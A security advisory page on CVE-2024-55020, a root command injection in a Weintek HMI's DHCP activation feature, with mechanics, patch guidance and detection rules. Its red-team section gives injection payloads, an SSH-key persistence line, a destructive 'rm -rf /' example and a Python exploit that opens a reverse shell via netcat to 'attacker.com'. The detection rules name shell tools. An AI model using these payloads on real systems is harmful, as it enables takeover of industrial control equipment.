CVE-2024-55020
Executive Summary
CVE-2024-55020 is a critical command injection vulnerability in the DHCP activation feature of Weintek cMT-3072XH2 HMI devices running easyweb Web Version v2.1.53 and OS v20231011. An unauthenticated attacker can exploit this flaw to execute arbitrary operating system commands with root privileges, leading to full device compromise. The vulnerability resides in improper sanitization of DHCP-related input fields, allowing injection of shell metacharacters. No public proof-of-concept or patch is currently available, making this a high-risk zero-day for industrial control systems.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Vulnerability does not affect other components.
- Confidentiality (C): High (H) – Full system read access.
- Integrity (I): High (H) – Full system write access.
- Availability (A): High (H) – Full system control, potential denial of service.
CVSS Score: 9.8 (Critical)
Threat Level: Critical – Remote, unauthenticated, root-level command execution in an OT/ICS environment.
Deep Dive & Mechanics
The vulnerability exists in the DHCP activation feature of the Weintek cMT-3072XH2 HMI. When a user enables DHCP, the device processes user-supplied parameters (e.g., hostname, vendor class identifier) without proper sanitization. The backend script passes these values directly to a shell command (e.g., udhcpc or a custom script) using string concatenation or unsafe system calls. An attacker can inject shell metacharacters such as ;, |, &&, or backticks to break out of the intended command and execute arbitrary OS commands.
Root Cause: Lack of input validation and use of shell execution functions (e.g., system(), popen(), or exec()) with unsanitized user input.
Attack Vector: The attacker sends a crafted DHCP request or manipulates the device's web interface to inject commands into DHCP fields. Since the device listens for DHCP offers or processes web requests, the attack can be launched from the local network or remotely if the web interface is exposed.
Impact: Full device takeover, lateral movement within the OT network, data exfiltration, ransomware deployment, or disruption of industrial processes.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
#!/bin/sh
# vulnerable_dhcp_activate.sh
HOSTNAME=$1
udhcpc -i eth0 -h "$HOSTNAME" -s /etc/udhcpc.script
If HOSTNAME is ; rm -rf /, the command becomes:
udhcpc -i eth0 -h ""; rm -rf /"" -s /etc/udhcpc.script
Patched Code (Conceptual):
#!/bin/sh
# patched_dhcp_activate.sh
HOSTNAME=$(echo "$1" | sed 's/[^a-zA-Z0-9._-]//g')
udhcpc -i eth0 -h "$HOSTNAME" -s /etc/udhcpc.script
The patch uses strict whitelist filtering to remove all characters except alphanumeric, dot, underscore, and hyphen.
Exploitation & Lab Setup
Red Team
Lab Environment:
- Weintek cMT-3072XH2 with easyweb v2.1.53 and OS v20231011.
- Attacker machine (Kali Linux) on the same network segment.
- Network access to the HMI's web interface (default port 80) or ability to send DHCP packets.
Exploitation Steps:
Identify Target: Scan for Weintek devices using Shodan or Nmap.
nmap -p 80,443 --script http-title 192.168.1.0/24Access DHCP Activation Feature: Navigate to the web interface (e.g.,
http://<target-ip>/dhcp_activate). If not exposed, craft a malicious DHCP offer.Inject Command: In the hostname field, enter:
; id > /tmp/pwned ;Submit the form.
Verify Execution: Access the device via SSH or web shell to confirm command execution.
ssh root@<target-ip> "cat /tmp/pwned"Establish Persistence: Add an SSH key or create a reverse shell.
; echo "ssh-rsa AAA... attacker@kali" >> /root/.ssh/authorized_keys ;
Exploit Script (Python):
import requests
target = "http://192.168.1.100/dhcp_activate"
payload = "; nc -e /bin/sh attacker.com 4444 ;"
data = {"hostname": payload, "action": "enable"}
requests.post(target, data=data)
Blue Team
Detection Steps:
- Monitor DHCP logs for unusual hostnames containing shell metacharacters (
;,|,&,`). - Enable web application firewall (WAF) rules to block SQLi/CMDi patterns.
- Restrict network access to HMI web interfaces using VLANs and firewall rules.
- Deploy endpoint detection and response (EDR) on the OT network to monitor for anomalous process execution.
Hunting Query (Splunk):
index=dhcp hostname=*\;* OR hostname=*|* OR hostname=*\`*
| table _time, src_ip, hostname
Indicators of Compromise (IOCs)
Network:
- DHCP requests with hostnames containing shell metacharacters.
- Outbound connections from HMI to unknown IPs on ports 4444, 1337, etc.
- HTTP POST requests to
/dhcp_activatewith suspicious payloads.
Host:
- Files in
/tmp/with names likepwned,exploit, or reverse shell scripts. - Unauthorized SSH keys in
/root/.ssh/authorized_keys. - Processes like
nc,bash, orpythonspawned by the web server.
- Files in
Logs:
- System logs showing execution of commands like
id,whoami,wget,curl. - Web server logs with 200 responses to
/dhcp_activateand unusual User-Agent strings.
- System logs showing execution of commands like
Detection Engineering
YARA Rule
rule CVE_2024_55020_DHCP_CMDi {
meta:
description = "Detects command injection attempts in DHCP hostname fields targeting Weintek cMT-3072XH2"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-55020"
strings:
$cmd1 = /[;|&`$]/ nocase
$cmd2 = /(rm|wget|curl|nc|bash|python|perl)/ nocase
$dhcp = "dhcp_activate" nocase
condition:
$dhcp and (#cmd1 > 2 or #cmd2 > 0)
}
Sigma Rule
title: CVE-2024-55020 DHCP Command Injection Attempt
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6d
status: experimental
description: Detects HTTP POST requests to /dhcp_activate with shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/dhcp_activate'
cs-uri-query|contains:
- ';'
- '|'
- '&'
- '`'
condition: selection
falsepositives:
- Legitimate use of special characters in hostnames (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-55020 DHCP Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/dhcp_activate"; http_uri; pcre:"/(;|\||&|`)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate Affected Devices: Place the HMI on a separate VLAN with strict firewall rules blocking inbound/outbound traffic except to essential OT systems.
- Disable DHCP Activation Feature: If not required, disable the DHCP activation feature via the device configuration.
- Apply Input Validation: Implement a reverse proxy or WAF that sanitizes all input to the DHCP activation endpoint, stripping shell metacharacters.
Long-Term Fixes:
- Vendor Patch: Contact Weintek for an official firmware update. Monitor their security advisory page.
- Code Hardening: Rewrite the DHCP activation script to use parameterized APIs (e.g., Python's
subprocess.runwith a list of arguments) instead of shell commands. - Network Segmentation: Implement defense-in-depth with OT-specific firewalls and IDS/IPS.
Workaround:
- Use static IP addresses instead of DHCP for the HMI.
- Block HTTP access to the HMI from untrusted networks.
Valters IT
Securing Industrial Control Systems
https://valters-it.com
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.